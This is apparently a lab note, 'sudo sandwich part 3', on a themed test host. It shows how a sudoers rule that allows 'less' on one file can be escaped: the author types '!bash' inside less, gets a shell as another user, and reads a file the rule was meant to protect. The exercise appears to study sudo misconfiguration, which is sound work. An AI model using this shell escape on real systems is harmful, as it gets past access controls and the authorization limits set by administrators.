sudo sandwich part 3

_sudoers.d

root@discworld:~# cat /etc/sudoers.d/012_twoflower-nopasswd
twoflower discworld=(rincewind) /usr/bin/less /luggage/camera/picture

output

twoflower@discworld:/luggage/camera$ sudo -u rincewind less picture
Sorry, user twoflower is not allowed to execute '/usr/bin/less picture' as rincewind on discworld.
## got it i need the whole path

twoflower@discworld:/luggage/camera$ sudo -u rincewind less /luggage/camera/picture

<less session begins>
i see things
/luggage/camera/picture (END)
<type>:q<enter>
<quit less session>
## can i traverse?
twoflower@discworld:/luggage/camera$ sudo -u rincewind less /luggage/camera/../octavo/spell
Sorry, user twoflower is not allowed to execute '/usr/bin/less /luggage/camera/../octavo/spell' as rincewind on discworld.
## traverse failed
## but wait...
twoflower@discworld:/luggage/camera$ sudo -u rincewind less /luggage/camera/picture

<less session begins>
i see things
/luggage/camera/picture (END)
<type>!bash<enter>
<new bash session starts>
rincewind@discworld:/luggage/camera$ cat ../octavo/spell
Ashonai. Ebiris. Urshoring. Kvanti. Pythan. N'gurad. Feringomalee.
## gdi